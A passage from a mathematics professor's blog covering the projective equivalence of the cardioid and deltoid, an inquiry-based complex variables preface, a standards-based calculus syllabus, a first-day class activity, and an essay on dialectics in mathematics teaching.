the map must be homogeneous of the same degree (in this case, four). By expressing the parameterizations of the cardioid and the deltoid in this way, we see that both curves touch the line at infinity at the two points $[0:1:0]$ and $[0:0:1]$, corresponding to $[0:1]$ and $[1:0]$, respectively, for the cardioid, and in the reverse order for the deltoid. Still this isn’t enough to show that the curves are the same! We need one more ingredient.\n\nA projective transformation of $\\mathbb{P}^1$ or $\\mathbb{P}^2$ is induced by a linear transformation of the homogeneous coordinates. Readers who are already familiar with the Riemann sphere will recognize projective transformations of $\\mathbb{P}^1$ as Möbius transformations (also known as fractional linear transformations): given $a,b,c,d\\in\\mathbb{C}$, we can convert $[s:t] \\mapsto [as+bt:cs+dt]$ to a Möbius transformation in the coordinate $z = s/t$, where it becomes $z \\mapsto \\dfrac{az+b}{cz+d}$. The condition for this function to be invertible is $ad - bc \\ne 0$, which is the same as the condition for the matrix $\\begin{bmatrix}a & b \\\\ c & d\\end{bmatrix}$ to be invertible. In the same way, projective transformations of $\\mathbb{P}^2$ arise from invertible linear transformations of $\\mathbb{C}^2$. Two objects in $\\mathbb{P}^1$ or $\\mathbb{P}^2$ are called projectively equivalent if there is a projective transformation that carries one to the other. And now we can state precisely what was meant in the opening paragraph:\n\nThe cardioid and the deltoid are projectively equivalent in $\\mathbb{P}^2$.\n\nBut how do we find the projective equivalence? A clue may be found in one clear difference between the original curves drawn in the Euclidean plane, which niggled at me while I was trying to figure out their relationship. The deltoid clearly has three cusps, while the cardioid apparently only has one. If the curves are equivalent, where are the other cusps of the cardioid? The answer: on the line at infinity!\n\nHow can we tell? It’s time to apply some differential geometry and look at the tangent lines of these two curves. Returning to the parameterizations in terms of $t$, we find\n\n$\\gamma_C'(t) = \\left(2 + 2t,-\\dfrac{2}{t^2} - \\dfrac{2}{t^3}\\right) \\qquad$ and $\\qquad \\gamma_D'(t) = \\left(2 - \\dfrac{2}{t^3},-\\dfrac{2}{t^2} + 2t\\right)$.\nNow a line in $\\mathbb{C}^2$, with coordinates $(v,w)$, passing through $(a,b)$ in the direction $(s,t)$ has the equation $\\begin{vmatrix} s & v - a \\\\ t & w - b \\end{vmatrix} = 0$. Thus the tangent line to the cardioid at $\\gamma_C(t)$ has the equation $\\begin{vmatrix} 2 + 2t & v - \\big(2t + t^2\\big) \\\\ -\\frac{2}{t^2} - \\frac{2}{t^3} & w - \\big(\\frac{2}{t} + \\frac{1}{t^2}\\big) \\end{vmatrix} = 0$ which, after some simplification, becomes $wt^3 - 3t^2 - 3t + v = 0\\text{.}$ This is the line equation of the cardioid. In a similar fashion, we can find the line equation of the deltoid, which is $t^3 - vt^2 + wt - 1 = 0\\text{.}$\n\nHaving the line equation of a curve, in terms of a parameter $t$, can be useful in several ways. As $t$ varies over $\\mathbb{P}^1$, it produces all the tangent lines of the curve. (We’ll clarify what happens when $t = \\infty$ in a moment.) But we can also let $(v,w)$ vary over $\\mathbb{C}^2$ and find, for each point, which tangent lines of the curve pass through that point. Because the line equations of the cardioid and the deltoid are cubic polynomials in $t$, most points of $\\mathbb{C}^2$ will lie on three tangent lines. Those points that lie on fewer than three tangent lines play a special role.\n\nLet’s illustrate first with the deltoid. We’ll be looking at lots of cube roots, so let $\\omega = e^{i\\,2\\pi/3}$; this means that $\\omega^3 = 1$ and $1 + \\omega + \\omega^2 = 0$. When $(v,w)=(0,0)$, the line equation becomes $t^3 - 1 = 0$, so the tangent lines of the deltoid that pass through the origin correspond to the parameters $1$, $\\omega$, and $\\omega^2$. Indeed, the three points $\\gamma_D(0) = (3,3)$, $\\gamma_D(\\omega) = (3\\omega,3\\omega^2)$, and $\\gamma_D(\\omega^2) = (3\\omega^2,3\\omega)$ are the three cusps of the deltoid. On the other hand, a point that belongs to the deltoid lies on tangent lines corresponding to at most two parameters (two of the points of tangency have “coalesced”). For example, when $(v,w)=(-1,-1)$, the line equation becomes $t^3 + t^2 - t - 1 = 0$, or $(t+1)^2(t-1) = 0$. At a cusp, all three tangent lines coincide: for example, when $(v,w)=(3,3)$, the line equation is $3t^3 - 3t^2 + 3t - 3 = 3(t-1)^3 = 0$. See the pictures below.\n\nWe can homogenize the line equation of the deltoid by replacing $t$ with $t/s$ and $(v,w)$ with $(v/u,w/u)$ and clearing denominators to obtain: $ut^3 - vst^2 + ws^2t - us^3 = 0\\text.$ When $[s:t] = [1:0]$ or $[0:1]$ (remember, this second point in homogeneous coordinates corresponds to $t=\\infty$), we get the same equation of the tangent line, $u = 0$. This is the equation of the line at infinity, so the line at infinity is tangent to the deltoid at both $[0:0:1]$ and $[0:1:0]$! A line that is tangent to a curve at two points is called a bitangent.\n\nThe cardioid also has a bitangent, which is easier to see: when $t = \\omega$ or $t = \\omega^2$, respectively, the line equation of the cardioid becomes $w - 3\\omega^2 - 3\\omega + v = 0$ or $w - 3\\omega - 3\\omega^2 + v = 0$, both of which are equivalent to $v + w = 3$. The visible cusp occurs at $(-1,-1)$, where the line equation becomes $(t + 1)^3 = 0$. For an example of more generic behavior, look at $(-3,-3)$, where the line equation becomes $3t^3 + 3t^2 + 3t + 3 = 0$, or $3(t + 1)(t + i)(t - i) = 0$. See pictures below.\n\nThe homogeneous version of the cardioid’s line equation is $wt^3 - 3ust^2 - 3us^2t + vs^3 = 0\\text.$ When $[s:t] = [1:0]$, this becomes the $w$-axis $v = 0$, and when $[s:t] = [0:1]$, we get $w = 0$. In each of these cases, we see that only one tangent line passes through the point, just as we saw for the cusps of the deltoid. So we have identified the three cusps of the cardioid—$[1:-1:-1]$, $[0:0:1]$, and $[0:1:0]$. The tangent lines through all three of these cusps pass through the origin in $\\mathbb{C}^2$, with homogeneous coordinates $[1:0:0]$.\n\nWe now have enough information to show the equivalence of the cardioid and the deltoid. To define a projective transformation from $\\mathbb{P}^1$ to itself, we need to specify where three points go; to define a projective transformation from $\\mathbb{P}^2$ to itself, we need to specify the images of four points, no three of which are collinear. We’ll show how to transform the line equation of the deltoid into the line equation of the cardioid via pullback.\n\nWe’re looking for projective transformations $f : \\mathbb{P}^1 \\to \\mathbb{P}^1$ and $g : \\mathbb{P}^2 \\to \\mathbb{P}^2$ such that $\\gamma_D \\circ f = g \\circ \\gamma_C$. Starting with $f$, we require\n\n$f\\big([1:0]\\big) = [1:\\omega]$, $f\\big([0:1]\\big) = [\\omega:1]$, and $f\\big([1:-1]\\big) = [1:1]$,\nso that the parameters of the cardioid’s cusps are sent to those of the deltoid’s cusps. This can be accomplished by defining $f\\big([s:t]\\big) = [s - \\omega t : \\omega s - t]\\text.$ Meanwhile, $g$ needs to satisfy\n$g\\big([0:0:1]\\big) = [1:3\\omega:3\\omega^2]$, $g\\big([0:1:0]\\big) = [1:3\\omega^2:3\\omega]$,\n$g\\big([1:-1:-1]\\big) = [1:3:3]$, and $g\\big([1:0:0]\\big) = [1:0:0]$,\nwhich is accomplished by $g\\big([u:v:w]\\big) = [ 3u+v+w : 3\\omega^2 v + 3\\omega w : 3\\omega v + 3\\omega^2 w ]\\text.$ Now substitute the components of $f$ and $g$ into the variables of the deltoid’s line equation, expand, and simplify. The result is the line equation of the cardioid. You can calculate this by hand, or just let SageMath do it for you:\n\nOne of the curves mentioned in the title of this post has been conspicuously absent so far: the folium of Descartes. This is another favorite curve of mine, invariably given in my calculus classes as an exercise in implicit differentiation. Its equation is $x^3 + y^3 = xy$.\n\nSo what’s the connection between this curve and the others? Well, if we extract the coefficients from the deltoid’s line equation and use them to define a new curve $\\gamma_F$, we get $\\gamma_F\\big([s:t]\\big) = [ s^3 - t^3 : st^2 : -s^2 t ]\\text,$ which parameterizes $v^3 + w^3 = uvw\\text,$ the homogeneous version of the folium’s equation. This means that the folium is dual to the deltoid (and thus also to the cardioid)! The tangent lines of the cardioid/deltoid have been converted into points of the folium, and likewise points of the cardioid/deltoid become tangent lines of the folium. Just as each point of $\\mathbb{C}^2$ lies on three tangent lines of the cardioid/deltoid, counted with multiplicity, each line of $\\mathbb{C}^2$ intersects the folium at three points, counted with multiplicity. The bitangent of the deltoid and cardioid has been converted into a point of self-intersection. If we look at points of the form $[1:v:\\bar{v}]$, then the threefold symmetry of the folium is revealed (the three asymptotic directions correspond to the three tangent lines that pass through the origin, which as we saw are the tangent lines at the cusps).\n\nSaturday, December 29, 2018\n\nan IBL preface\n\nIn just over a week, I will distribute to students the first piece of the complex variables notes I have been writing. Here is a preface to be included with the notes, to motivate the IBL structure. The details of the class will be spelled out in the syllabus; this is just to set the tone.\n\nYou are the creators. These notes are a guide.\n\nThe notes will not show you how to solve all the problems that are presented, but they should enable you to find solutions, on your own and working together. They will also provide historical and cultural background about the context in which some of these ideas were conceived and developed. You will see that the material you are about to study did not come together fully formed at a single moment in history. It was composed gradually over the course of centuries, with various mathematicians building on the work of others, improving the subject while increasing its breadth and depth.\n\nMathematics is essentially a human endeavor. Whatever you may believe about the true nature of mathematics—does it exist eternally in a transcendent Platonic realm, or is it contingent upon our shared human consciousness? is math “invented” or “discovered”?—our experience of mathematics is temporal, personal, and communal. Like music, mathematics that is encountered only on as symbols on a page remains inert. Like music, mathematics must be created in the moment, and it takes time and practice to master each piece. The creation of mathematics takes place in writing, in conversations, in explanations, and most profoundly in the mental construction of its edifices on the basis of reason and observation.\n\nTo continue the musical analogy, you might think of these notes like a performer’s score. Much is included to direct you towards particular ideas, but much is missing that can only be supplied by you: participation in the creative process that will make those ideas come alive. Moreover, the success of the class will depend on the pursuit of both individual excellence and collective achievement. Like a musician in an orchestra, you should bring your best work and be prepared to blend it with others’ contributions.\n\nIn any act of creation, there must be room for experimentation, and thus allowance for mistakes, even failure. A key goal of our community is that we support each other—sharpening each other’s thinking but also bolstering each other's confidence—so that we can make failure a productive experience. Mistakes are inevitable, and they should not be an obstacle to further progress. It’s normal to struggle and be confused as you work through new material. Accepting that means you can keep working even while feeling stuck, until you overcome and reach even greater accomplishments.\n\nThese notes are a guide. You are the creators.\n\nMonday, September 03, 2018\n\n2018 calculus syllabus\n\nIn my last post, I explained a bit about how I feel like my syllabus is a work-in-progress, even though the semester has started and I’m already using it. In this post I’ll give some more details and even more history. I’ll quote extensively from my syllabus verbatim; here is a link to the entire thing for anyone who is interested.\n\nRevising my syllabus for this semester really began last fall. I wasn’t entirely blind to the faults that were starting to show. One major change was in restructuring the exam schedule. When I switched to standards-based grading in calculus 1, I also started weekly quizzes (which students took on their own time outside of class) and had three midterm exams plus a final. The quizzes functioned as a sort of preliminary assessment for most of the standards. Each test covered about eight standards. After the third test, there were a couple more standards we covered in class, which were only assessed on a quiz and the final exam. Even with three midterms, however, I had often felt like students were rushed in completing them. I also began to question the value of the out-of-class quizzes. So I turned the quizzes into “labs” that students were free to collaborate on, and I switched from three midterm exams to five, which would formally assess every standard before the final.\n\nI really liked how having five midterms broke up the material. Each test became more coherent in the material it included. Exam 1 covered limits. Exam 2, definition and interpretation of derivatives. Exam 3, rules for differentiation. Exam 4, applications of derivatives. Exam 5, definition of integrals and the Fundamental Theorem of Calculus. Especially helpful was splitting up the applications of derivatives (l'Hospital's rule, optimization, related rates, and so on) from the introduction to integrals; these topics had usually been all jumbled together in the last midterm, compounding the difficulty already created by it being late in the sester. Also, by dedicating one test just to derivative rules, I was moving towards having a Differentiation Gateway Exam, as several of my colleagues at Pepperdine use. And paired with that move was an awareness that I was gravitating towards a specifications framework.\n\nThis fall, I decided to maintain the five-midterm structure and get rid of the quizzes/labs, to be replaced by an occasional more substantial homework exercise that will be used in class. I collected seven standards into the Gateway Exam, which will form the bulk of the third midterm. I split the remaining standards into 45 “tasks”, which is a term I hope will be clearer than “standards”; each standard split into approximately two tasks. The idea of tasks goes back in my mind to the list of problems Kate Owens shared from her Ph.D. advisor George McNulty. That is, a task is a specific type of problem that students will show they know how to solve. Here is the new introduction to the “Goals and Assessment” section of my syllabus:\n\nChange is present all around us, and understanding it is an essential component of many fields of study. Calculus is fundamentally a set of tools for measuring, quantifying, estimating, and interpreting change in a variety of contexts. In this course, we will delve into some of the most profound ideas in mathematics, whose roots are from ancient times and which began to develop fully in the 17th century; they continue to form the basis for much of modern science. My hope is that this class will develop your analytical ability and deepen your appreciation for the power and elegance of mathematics.\n\nThe skills you should acquire are related to the Learning Outcomes stated on the first page of this syllabus. Your mastery of the course content will be assessed through your performance on a collection of definite tasks. A complete list of tasks is on the last two pages of this syllabus. These tasks, rather than points or percentages, will be the primary basis for grading. The following sections provide details on how the tasks will be assessed and what you should accomplish in order to earn your final grade.\n\nMy hope is that this method of assessment, called standards-based grading or mastery grading, will keep you clearly informed as to the expectations of the class and how well you are meeting them, while also removing the (often distracting) elements of linear grading that uses letters or total points. Learning is not always a straightforward process, and one of my goals is to give you as many opportunities as possible to demonstrate your understanding. I will be glad to do everything I can to help you towards your goal of mastery. If you have questions or concerns at any time, please feel free to discuss them with me.\n\nAnother potential source of confusion from my SBG system in the past was the levels of ranking. I really liked that we were using the vocabulary of mastery / proficiency / basic ability / novice to talk about students’ progress, but it was rare that a student could rate their own work with one of these levels. So this fall I opted, as many others have, for a simple pass/fail approach on tasks. I don’t like the pass/fail language, however, so I chose successful for a task completed satisfactorily and progressing or incomplete for work that has major mistakes or is absent. I also wanted to handle small mistakes through a faster revision process, an idea I picked up from MathFest; for these situations, I added a revisions needed category. Here is how I describe the rating system in my syllabus:\n\nA task is a problem or a collection of similar problems that should be solved using calculus tools. Your progress in the class will be measured in terms of the number of tasks that you accomplish. Partial credit is not given; a task must be fully successful in order to count towards your final grade. Whenever a task is included on an exam, your work will receive one of four ratings:\nSsuccessful Solution is complete and correct.\nRminor revisions needed Solution is correct except for small errors.\nPprogressing Partial understanding is evident, but solution contains substantial errors.\nIincomplete Not enough evidence is available to provide an assessment.\nA task marked “S” has been completed; you can check it off the list at the end of the syllabus.\nA task marked “R” can have a small mistake such as an arithmetic error or a miscopied value. You will have 48 hours (or over the weekend if the work is returned on a Friday) to complete a Revision Form that explains how to correct the mistakes, and to submit the form along with your original work, in order to earn a successful rating.\nA task marked “P” demonstrates progress in mastering the topic, but reassessment is necessary in order to successfully accomplish the task.\nA task marked “I” shows little or no relevant work. Reassessment is necessary.\nTo show mastery of a task after it has received a rating of P or I, see the section entitled “Reassessment” on the next page.\nHopefully this simplified rating system will also make it easier for me to track student progress over the duration of the semester and analyze trends afterwards. (I agree with Kate that Drew’s “A tale of two students” chart was a moment of clear inspiration at MathFest.)\n\nIn order to help students know what is expected to prepare for reassessment, and to help me schedule them more effectively, I have introduced Reassessment Tickets:\n\nAfter a task has been assessed on an exam, you may schedule a reassessment if you did not successfully complete the task. This is a two-step process:\n• First, pick up a Reassessment Ticket from my door or download and print one from the Courses site. Complete the form and return it to me at least 24 hours before you want a reassessment.\n• Second, once a meeting is scheduled, come to my office and I will give you a new opportunity to demonstrate mastery of the task. If possible, I will grade your work immediately; otherwise, I will let you know the result by the following day.\nI will reassess up to two tasks per student per week. In addition, you can use exam days as opportunities for reassessment of up to three tasks, provided you let me know 48 hours in advance which ones.\nI plan to use one or two class days at the end of the semester for reassessment alongside review, as well.\n\nAnother element I introduced was subcategories of tasks: “core”, “modeling”, and “additional“ (not a great name, I’ll try to find a better one in the future). Again, lots of other people are already doing this, and I like what many of them are doing, which is to require two demonstrations of mastery for core skills and only one for the rest. I couldn’t figure out how to make that work with my system, so I made the following distinction: core tasks are the ones that could appear on the final exam. There are 14 of them, and I will choose seven to go on the final. (The final exam will also include a reflection essay, and a period of time for additional reassessment.) I also set higher expectations for how many core vs. additional tasks needed to be successful at each grade level.\n\nWhat I learned from creating a list of tasks is that, because I state exactly what types of questions I will include on the tests, there is less wiggle room than with standards, which could always be applied to new sorts of problems. (This is the distinction between activity and ability I talked about in my last post.) I don’t know if my list of tasks, or the categorizing thereof, is ideal, but it is certainly enough to guarantee that a student who succeeds at all of them will have mastered calculus 1. (I used Robert’s classification of “core” and “supplemental” learning targets as a reference while I was sorting, but our lists don’t match up exactly.)\n\nAfter all the work that goes into getting away from letter grades in a standards-based system, it’s always a bit dispiriting to turn back to them. So I start my section on “Final letter grades” with a bit of reluctance (not to say snark).\n\nAt the end of the semester, I am required to submit to the university a letter grade reflecting your achievement in this class. Here is how that grade will be determined.\n\nTo earn an A: in addition to passing the Gateway Exam and completing the Final Reflection,\n• Submit 20 homework reports.\n• Complete all modeling tasks.\n• Complete all core tasks.\n• Complete 6 core tasks on the final exam (minor errors are acceptable).\nTo earn an B: in addition to passing the Gateway Exam and completing the Final Reflection,\n• Submit 15 homework reports.\n• Complete 2 modeling tasks.\n• Complete 12 core tasks.\n• Complete 5 core tasks on the final exam (minor errors are acceptable).\nPassing the Gateway Exam is required to earn a final grade of B– or higher.\n\nTo earn an C: in addition to completing the Final Reflection,\n• Submit 10 homework reports.\n• Complete 1 modeling task.\n• Complete 10 core tasks.\n• Complete 17 additional tasks OR pass the Gateway Exam and complete 14 additional tasks.\n• Complete 4 core tasks on the final exam (minor errors are acceptable).\nFailure to complete a Final Reflection will result in a grade of D or F.\n\nTo earn a D:\n• Submit 5 homework reports.\n• Complete any 30 tasks from C.1–C.14, A.1–A.28, M.1–M.3 OR pass the Gateway Exam and complete any 23 tasks.\n• Complete 3 core tasks on the final exam (minor errors are acceptable).\nPlusses and minuses will be assigned as follows: if all criteria for a letter grade are met as well as two or three of those for a higher letter grade, then a plus will be added. If all but one or two criteria for a letter grade are met, and the remaining items meet the criterion for one letter grade lower, then the higher letter will be given with a minus added.\n\nI will use my discretion to assign a final letter grade in cases where a different set of conditions is met.\n\nSo there it is. My syllabus for calculus this semester. I’m sure by December, or even October, I’ll have a much better notion of what changes I should have made. I’ll let you know how it goes.\n\n(I should also have given more attribution in this post to the people I stole ideas from, especially at MathFest, but I don’t have those notes on hand right now. So a general word of thanks goes out to this very sharing community.)\n\nSunday, September 02, 2018\n\nprologue to a syllabus\n\n(This was originally supposed to be the post in which I describe my syllabus for the fall. I started writing some preliminary comments, and they got out of control. I’ll get back to the syllabus itself in my next post.)\n\nFirst, I must express some gratitude. Thanks to parental leave provided by the state of California and my school, I did not have any teaching duties last spring. It was my first time not teaching first-semester calculus in four years. As I tell my students, calculus 1 is actually one of my favorite classes to teach, but I could tell by last fall that some parts of the course were getting stale. Having a semester break meant that, in addition to getting to know my newborn daughter, I could let my ideas on how to improve calculus instruction and assessment simmer for a bit.\n\nActually, it’s not entirely honest to refer to “my ideas” in this setting; what I really needed was a chance to reflect on ideas I’d been picking up (stealing) from others, and even better, to acquire (steal) some fresh ideas, which a workshop and conference provided over the summer. A fabulous community of college and university math teachers has formed around the question of how to improve our assessment practices, and the rate at which sharing/stealing/developing ideas is remarkably fast.\n\nOver the past few weeks, as the fall semester has started up, several people have shared their syllabi along with extensive, thoughtful commentary on how they created them. I’ve been holding back, however, because while I believe my syllabus is better than it was last year, by the time the semester started I only felt like I had gotten it to “just good enough.” Some ideas aren’t fully developed yet, some feel out of balance, and some are plain risky. Nevertheless, in the spirit of community and maintaining a growth mindset, I’ve decided to go ahead and share my syllabus, too, warts and all.\n\nSince I see this as a long-term work in progress, I’d like to begin with a few words about that progress. (These comments will parallel somewhat my talk from MathFest last month.) I started using standards-based grading in spring 2013, largely as a way to improve the feedback I was giving students. After a reasonably successful first attempt, I began using alternative assessment methods in all of my classes. Some worked better than others, but because I was teaching calculus 1 so often, my SBG system for that class developed into a collection of 25–30 standards that became fairly stable.\n\nAround the same time, Robert Talbert was blogging about specifications grading, a well-developed and flexible framework whose goals, in the words Linda Nilson uses to subtitle her book on the topic, are “restoring rigor, motivating students, and saving faculty time.” For a while I remained skeptical about specs grading, because I couldn’t understand why anyone would turn to something besides my beloved standards. Eventually, however, I realized that SBG as I conceived it didn’t work in every situation, and so I delved more into specs. The Google+ community initiated by Robert goes by the name SBSG, to include both standards-based and specifications grading. Today the language of the community encompasses these and other alternative assessment systems under the broader term mastery grading, which hearkens back to Bloom’s terminology of mastery learning.\n\nAt MathFest, I talked a bit about this history of my classes and did some compare-and-contrast between SBG and specs grading. Possibly the most useful contribution I made to that session was the following six-word summary of how they relate:\n\nStandards emphasize content.\nSpecifications emphasize activity.\nHere’s another way to phrase the distinction in my mind: When we create standards, we are answering the question what do we want students to be able to do? When we create specifications, we are answering the question what do we want students to have done? More bluntly, standards are what we want to measure, while specifications are what we can actually measure; the latter is a proxy for the former.\n\nI guess my claim is that standards and specifications support each other: they are two sides of the same coin. We need specifications in order to determine how standards will be assessed, and a clear list of standards keeps specifications from becoming arbitrary. (Or as Drew Lewis said on Twitter, “specs are how I assign letter grades, with the primary spec being mastery of standards.”) Whether I say that an assessment system is based on specifications or standards depends on whether the description of the system focuses on the proxy or the thing for which it proxies.\n\nBy last fall, some cracks in my SBG system for calculus had started to show. Every semester, I had a couple of students at the end of the course who still thought it wasn’t clear. The homogeneity of the list of standards was mushing the most important concepts together with secondary ones. Worst of all from a practical standpoint, I was finally getting overwhelmed by reassessments after years of claiming that SBG didn’t take any more of my time than traditional grading. I knew I needed to make some changes to clarify and streamline the assessment process.\n\nWhat I have for now isn’t perfect, but it will get me through the semester. With this lengthy prologue complete, in my next post I’ll share parts of my syllabus and explain what I hope it achieves.\n\nMonday, August 27, 2018\n\n“Create Your Own” part 1\n\nToday was the first day of calculus for the fall semester of 2018. As a first-day activity, I wanted to do something that didn’t require any calculus knowledge and could break students out of the mindset that doing math is always about solving particular problems that have been fed to you.\n\nSo I initiated a sequence of exercises I’m planning, which I’ve come to think of collectively as “Create Your Own…”. In this case, I gave the following prompt:\n\nThe number 1 can be written many different ways, for example 4 – 3 or 10/10.\nCome up with ten different expressions that equal 1. Be creative!\nTry to have at least four of your solutions involve some kind of algebraic expression, like a variable x.\nAfter they had a few minutes to work individually, I had them share their answers in small groups, and each group picked out what expression by its members they thought was most creative. At the end of class, I collected all of their solutions to look at later in the day.\n\nIn having students do this exercise, I learned a lot, and I would definitely do it again, with a few tweaks. Here’s some of what I learned:\n\n• Students judge creativity differently than I do. In looking over the collective work this evening, I saw some excellent examples of splitting 1 into a sum of fractions or decimals and some elaborate expressions involving absolute values or square roots. But the groups often picked examples with the fanciest functions as most creative. Each section had some students come up with cos2(x)+sin2(x) as an answer, and some used logarithms, as in ln(e) or log10(10). And I’m glad those functions were there! It gave us a chance to talk a little about them and for me to give assurance that we would review them at an appropriate time. But 1/10+2/5+1/2 is much more personal, somehow, and I’d like it to have its due.\n• This kind of exercise was surprising and unfamiliar. I’m not quite sure how much time I gave for the creative process; I started out in my head with the idea of 2–3 minutes, but that clearly wasn’t enough, so it was probably 4–5. In that time, not everyone came up with ten solutions. (Which is fine! We’d spent an earlier part of the class watching Jo Boaler’s “Four Key Messages” video, which emphasizes that speed isn’t essential in learning math; a couple of students added that comment to their work.) I saw a few get stuck for a while, however, and next time I’ll have some ideas for how to gently prod.\n• The notion of “variable” is very strongly connected with “solving an equation”. The vast majority of students interpreted the direction “involve some kind of algebraic expression” to mean “write an equation whose solution is 1.” This led to answers like 2x=2 and x+3=4, and many others (one group gave log5(x)=0 as an answer!). There was a remarkable amount of creativity in the creation of these equations; I’d like to figure out how to leverage that. But now I also know that the distinction between an “expression” and an “equation” has not yet been made clear, and when we start simplifying algebraic expressions (e.g., to compute limits), we’ll still need to inject some flexibility into our thinking.\nThe main adjustments I would make next time are:\n• Rephrasing the instructions to say that the expressions simplify to 1, rather than equalling 1. Hopefully this will give clearer direction regarding algebraic expressions. Also, I would probably add an algebraic example like (x+1)–x.\n• Preparing, nonetheless, for a discussion about what the term “expression” means.\n• Giving a more definite and slightly longer period of time, and providing more useful interventions as the students do individual work.\n\nThat’s all for now. More updates as warranted.\n\nMonday, August 20, 2018\n\ndialectics in mathematics\n\nThis post is part of the Virtual Conference on Mathematical Flavors, and is part of a group thinking about different cultures within mathematics, and how those relate to teaching. Our group draws its initial inspiration from writing by mathematicians that describe different camps and cultures — from problem solvers and theorists, musicians and artists, explorers, alchemists and wrestlers, to “makers of patterns”. Are each of these cultures represented in the math curriculum? Do different teachers emphasize different aspects of mathematics? Are all of these ways of thinking about math useful when thinking about teaching, or are some of them harmful? These are the sorts of questions our group is asking. (intro by Michael Pershan)\n\nI want to talk about how we respond to polarities. Here I mean “polarity” in the philosophical sense (a pair of concepts that are apparently in conflict) rather than in a mathematical sense. When we encounter a struggle or tension between goals or ideas, we tend to create one of two things:\n\n• dichotomy — a conclusion that the two ideas are irreconcilable and the choosing of sides, or\n• synthesis — a selection of desirable features from each and the attempt to make those features coexist.\nWhile each approach is at times appropriate, both have their downsides. Establishing a dichotomy means that one side tends to be silenced and its contributions lost. Creating a synthesis can mean that neither side is fully honored; everything is compromise.\n\nI propose a third option, an alternative to dichotomy or synthesis: this approach is dialectic — upholding both sides fully, maintaining the two ideas in tension so that a conversation may arise between them. Etymologically, “dialectic” comes from the roots “dia” (“across”) and “logos” (“word” or “reason”), so its underlying meaning may be read as “speaking across a divide”. Dialectics can simply refer to discussion or debate between two opposing sides, but I use it to denote a state that seeks not resolution, but rather the fruitfulness of an irreducible struggle. Doing so acknowledges the worth, validity, and potency of both sides. It can therefore be used in the classroom to foster the inclusion of diverse perspectives, even in mathematics.\n\nOur group’s discussion began with an essay by Timothy Gowers entitled “The Two Cultures of Mathematics”. In this piece, Gowers makes the claim that most mathematicians are either “problem solvers”, who prefer to attack specific open problems that they believe are important, or “theory builders”, who prefer to develop a large, coherent body of understanding. The former are interested in general theory mainly insofar as it provides ways to solve their problems; the latter are interested in specific problems mainly insofar as they spur deeper insights or new directions for theory.\n\nThis subdivision is similar to the pure/applied separation we often talk about in mathematics, though it is not quite the same thing. Even the problems Gowers mentions fall well within the “pure” category. But these two polarities (pure/applied, theory/problems) share the feature that adherents of one side tends to be a bit snobbish towards those of the other.\n\nPure mathematicians tend to look on applied mathematics as, at best, a dirty form of math or, at worst, not truly math at all. G. H. Hardy, in his famous essay A Mathematician’s Apology, describes pure mathematics as more enduring, more exciting, and more “real” than applied mathematics. (He does make clear that what he considers “applied” mathematics limits itself to “elementary” tools, which more-or-less means grade-school arithmetic up through introductory calculus, and so his notion of applied mathematics might no longer suffice. I’ll get back to Hardy shortly.)\n\nGowers claims that, in a similar way, theory-building is currently “more fashionable” than problem-solving in the math world. (Rather than drawing the analogy with pure and applied mathematics, however, he compares this snobbishness with one, observed by C. P. Snow in “The Two Cultures”, held by humanities toward the sciences.) He laments that “this is not an entirely healthy state of affairs” and spends most of his essay defending problem-solving areas of math (combinatorics, in particular) against some perceived criticisms. His argument suggests to me that both the theory-building and the problem-solving camps should be upheld without one attempting to overcome the other; that is, a healthier state can be reached by sustaining a dialectic.\n\nHow can we think about theory-building vs. problem-solving in our classes?\n\nFor one thing, many of our students are trained problem-solvers. For them, learning mathematics means developing an appropriate response to any given stimulus. If a problem statement includes this-or-that word or phrase, then I should use such-and-such a technique to find a solution. For many of us instructors, however, it is the abstraction of ideas that drew us to mathematics. What is possible in this situation? To what extent can the possibilities be quantified and categorized? If theory-building is currently en vogue in mathematical culture, then I suspect we who teach are not immune to that trend. But here comes the question of motivation: what will draw students into doing mathematics? In many cases, the answer is… a problem. The problem may be “applied” (e.g., how does a population grow over time) or “pure” (e.g., how does the size of a square increase when its side length increases?), but a concrete connection provides an open door to considering broader mathematical truths. Such problems can lead into developing theory (e.g., what properties do exponential and polynomial functions share, and what distinguishes them?).\n\nBut developing theory for its own sake has been a part of mathematics since at least Euclid; we do our students a disservice if we neglect this aspect of doing math. A theory crystallizes into a single lattice ideas that might otherwise have been perceived as disconnected. Algebra in particular provides a unifying framework for solving individual problems. On the other hand, non-constructive statements are by turns inspiring and infuriating. It is no small movement from the (typically algebraic) claim that “A solution exists! And you can find it by following these steps…\" to the (typically analytic) claim that “A solution exists! And you may never find it exactly…” This theory in turn motivates a slew of new problems: if nothing else, how shall we find solutions as close to the true answer as we desire?\n\nIn any case, it is useful to abide by a constructivist view of knowledge: students will understand best the structures that they form in their own minds, whether by induction (problem-solving) or deduction (theory-building), and they should be presented with ample opportunities for both forms of construction.\n\n[Side note: in his keynote post for this series, Michael describes an occasion where he side-steps, or deconstructs, the theory-building/problem-solving divide by encouraging math-doers to create their own questions based on a simple prompt, questions which could easily veer in any direction, including problem-solving or theory-building.]\n\nIt is not hard to find other places in mathematics where polarities exist and a choice must be made: dichotomy, synthesis, or dialectic? A few weeks ago, I made a bit of a fuss on Twitter, claiming that everything Hardy wrote about mathematical culture should be read skeptically. The context for my criticism was an oft-shared quote from “A Mathematician’s Apology”: “Beauty is the first test: there is no permanent place in the world for ugly mathematics.”\n\nA question immediately presents itself: who decides what is beautiful? Any claim to objectivity is nearly always tied up with privilege. The answer cannot be “all mathematicians” because we all have such different tastes and preferences. Nor can the answer be “a special subset of mathematicians” because the choice of that subset will inevitably be determined by power structures within the mathematical community. But neither is the answer that all mathematics is equally beautiful. The standard of beauty may be subjective, but that does not mean it is arbitrary. We value beauty, but it is not the sole or even the primary standard by which we judge mathematics.\n\nHardy argues that all mathematics considered “useful” is essentially “dull” or “trivial”. He seeks to create a dichotomy between the beautiful and the practical. Perhaps he didn’t foresee the computing revolution. He couldn’t predict that number theory would be used in encryption, or that general relativity would be used for GPS, or that differential equations would be used for movie animations. Perhaps he would not consider these applications to be built on the deepest, truest parts of those theories. (To be fair, at the time he wrote, Hardy was distressed by the ways in which science had been used in the cause of warfare, and wanted to establish some distance between pure mathematics and that particular set of applications.)\n\nFrom an evangelistic perspective, potential converts (our students in particular) may be drawn in from either side: the aesthetic or the practical. I personally was first attracted to geometric form and the lovely, counterintuitive properties of mathematical relations. Some of my students have tastes similar to mine, but many more will be convinced of the predictive power of mathematics before they accept its inherent attractiveness.\n\nBeyond this, however, neither beauty nor usefulness can or should be subjugated to the other. Mathematics is grounded in both. They can hone each other, but they can also proceed independently. Progress flows from the pursuit of either. It would be a mistake, I believe, to claim that either is the true purpose of mathematics; we should support both of them in our minds and in our 